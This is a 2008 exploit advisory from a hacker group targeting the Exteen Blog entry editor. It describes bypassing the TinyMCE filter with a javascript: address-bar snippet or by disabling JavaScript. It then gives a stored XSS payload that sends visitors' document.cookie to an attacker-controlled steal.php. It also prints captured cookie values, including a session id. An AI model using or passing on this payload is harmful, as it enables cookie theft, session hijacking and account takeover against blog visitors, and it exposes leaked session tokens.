Exteen Blog XSS Remote Cookie Disclosure Exploit

[tan_prathan () hotmail com]

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     Exteen Blog XSS Remote Cookie Disclosure Exploit             
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AUTHOR : CWH Underground
DATE   : 22 May 2008
SITE   : www.citec.us


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 APPLICATION : Exteen Blog
 VENDOR      : www.exteen.com
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--- Vulnerable page ---
[-] http://www.exteen.com/manage/entryeditor.php (Create New Entry Page)

--- Description ---
There are 2 ways to exploit this page

1. Type "javascript:(function(){var x = document.getElementById('mce_editor_0_parent'); x.previousSibling.style.display 
= 'block';x.parentNode.removeChild (x);})()" on address bar and press Enter
2. Disable javascript on your Browser and visit vulnerable page
                                                                                                                        
                .
Two methods above will remove tinymce filter after that you can insert any script or HTML tag in your entry :D


--- Exploit (Grabbing Cookies)---

Simple Attack: <script>document.location = 'http://yoursite.com/steal.php?cookie=&apos; + document.cookie;</script>


--- Note ---

This website implement httpOnly that prevent from stealing cookies on ie (>= 6) and firefox (>= 2.0.0.5)

=Result=
IE & Gecko:     _uid57334=D8428C8A.2; _cbclose57334=1; _ctout57334=1; VisitOn=54016; VisitorTRUE=11
OPERA & Safari: _cbclose57334=1; _uid57334=16944A6F.1; sid=gdcvv9mab89uf9cmg3hqmhq570; 
keyx=NjgdHFErNXpCD1wpVTsYCF0dfx8KBTIDEFM; _ctout57334=1

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# Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C   #
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